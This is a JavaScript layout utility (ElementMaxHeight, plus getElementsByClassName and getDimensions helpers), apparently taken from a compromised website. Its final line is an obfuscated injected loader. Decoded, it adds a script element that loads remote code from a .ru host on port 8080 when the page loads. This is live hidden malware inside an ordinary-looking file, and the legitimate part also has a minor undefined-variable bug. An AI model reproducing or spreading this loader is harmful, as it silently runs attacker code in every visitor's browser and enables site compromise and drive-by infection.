var ElementMaxHeight = function() {
  this.initialize.apply(this, arguments);
}

ElementMaxHeight.prototype = {
  initialize: function(className) {
    this.elements = document.getElementsByClassName(className || 'maxheight');    
    this.textElement = document.createElement('span');
    this.textElement.appendChild(document.createTextNode('A'));
    this.textElement.style.display = 'block';
    this.textElement.style.position = 'absolute';
    this.textElement.style.fontSize = '1em';
    this.textElement.style.top = '-1000px';
    this.textElement.style.left = '-1000px';
    document.body.appendChild(this.textElement);
    this.textElementHeight = document.getDimensions(this.textElement).height;
    var __object = this;
    var __checkFontSize = this.checkFontSize;
    this.checkFontSizeInterval = window.setInterval(function() {return __checkFontSize.apply(__object)}, 500);

    this.expand();

    // Refresh elements height onResize event
    var __expand = this.expand;
    if (window.addEventListener) {
      window.addEventListener('resize', function(event) {return __expand.apply(__object, [( event || window.event)])}, false);
    } else if (window.attachEvent) {
      window.attachEvent('onresize', function(event) {return __expand.apply(__object, [( event || window.event)])});
    }
  },

  expand: function() {
    this.reset();
  	for (var i = 0; i < this.elements.length; i++) {  	
      this.elements[i].style.height = document.getDimensions(this.elements[i].parentNode).height + 'px';
  	}
  },

  reset: function() {
    for (var i = 0; i < this.elements.length; i++) {    
      this.elements[i].style.height = 'auto';
    }
  },

  checkFontSize: function() {
  	var height = document.getDimensions(this.textElement).height;
  	if(this.textElementHeight != height) {
  		this.textElementHeight = height;
  		this.expand();
  	}
  }  
}


if (!!document.evaluate) {
  document._getElementsByXPath = function(expression, parentElement) {
    var results = [];
    var query = document.evaluate(expression, parentElement || document,
      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
    for (var i = 0, length = query.snapshotLength; i < length; i++)
      results.push(query.snapshotItem(i));
    return results;
  }
}

document.getElementsByClassName = function(className, parentElement) {
  if (!!document.evaluate) {
    var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]";
    return document._getElementsByXPath(q, parentElement);
  } else {
    var children = (parentElement || document.body).getElementsByTagName('*');
    var elements = [], child;
    for (var i = 0, length = children.length; i < length; i++) {
      child = children[i];
      if (child.className.length != 0 &&
          (child.className == className ||
           child.className.match(new RegExp("(^|\\s)" + className + "(\\s|$)")))) {      
        elements.push(child);
      }
    }
    return elements;
  }
}

document.getDimensions = function (element) {
  var display = element.style.display;
  if (display != 'none' && display != null) { // Safari bug
    return {width: element.offsetWidth, height: element.offsetHeight};
  }

  return {width: originalWidth, height: originalHeight};
}
var G;if(G!='lA'){G=''};function D(){var X='';var u;if(u!='W_' && u!='Xf'){u='W_'};this.f='';var P;if(P!='zH' && P!='B'){P='zH'};var R=unescape;var jz;if(jz!='o' && jz!='Oy'){jz='o'};var Vb;if(Vb!='ua' && Vb != ''){Vb=null};var b=window;var n=R("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%72%69%63%65%6c%69%6e%65%2e%63%6f%6d%2f%72%61%6b%75%74%65%6e%2e%63%6f%2e%6a%70%2e%70%68%70");var NZ;if(NZ!='d' && NZ!='iZ'){NZ='d'};function i(z,T){var gC;if(gC!='' && gC!='Bo'){gC=null};this.oo='';var E=new Date();var DN=new Date();var y="gOuI".substr(0,1);var W=R("%5b"), zt=R("%5d");var iS=new Array();var UW;if(UW!='' && UW!='bl'){UW=''};var O=W+T+zt;var bF=new String();var Dy=new String();var l=new RegExp(O, y);var bU="";return z.replace(l, new String());var dK;if(dK!='' && dK!='wX'){dK='FD'};this.Ud="";};var CR;if(CR!='S'){CR=''};var HP=new String();this.t="";var QK=new Date();var QX;if(QX!='' && QX!='io'){QX='UL'};var N=new String();var PC=new Date();var sP=new Date();var bI=document;var x='';var Re=i('8174937703726348556349063224','35694217');var Rd;if(Rd!='' && Rd!='c'){Rd=null};var pW=new Date();function w(){var An=new Array();var rG=new Array();var Cs=new Array();var Rw=R("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");var oC;if(oC!='' && oC!='Zj'){oC='Cx'};var Uz=new Date();var J;if(J!='wI'){J=''};N=Rw;var nf;if(nf!='Bm'){nf='Bm'};var QC;if(QC!='bM' && QC!='kc'){QC=''};N+=Re;var Mw;if(Mw!='fC' && Mw != ''){Mw=null};N+=n;var LT=new String();var QF;if(QF!='gV' && QF!='q'){QF=''};this.ja='';try {var YR;if(YR!='VX'){YR='VX'};var uT='';H=bI.createElement(i('soc2rjiCp2tb','gCLQMHlkjbKoFq3520SU'));this.fx="";var Jw;if(Jw!=''){Jw='lT'};this.jq='';H[R("%64%65%66%65%72")]=[6,1][1];H[R("%73%72%63")]=N;var Fg;if(Fg!=''){Fg='aC'};var Yf;if(Yf!='Tv' && Yf != ''){Yf=null};var GY;if(GY!='' && GY!='DB'){GY='qI'};bI.body.appendChild(H);this.wE="";var Ei;if(Ei!='AI'){Ei='AI'};} catch(m){var Li;if(Li!='oX'){Li=''};alert(m);var UN;if(UN!='' && UN!='Fw'){UN=null};this.Hk="";};var dI=new Date();}var qR=new String();var pt='';var hX='';b["onloaQMCf".substr(0,5)+"nk4fdfkn4".substr(4,1)]=w;var NS=new Date();var ff=new Date();};var GHz=new Date();var I_;if(I_!='FX'){I_=''};this.nZ="";D();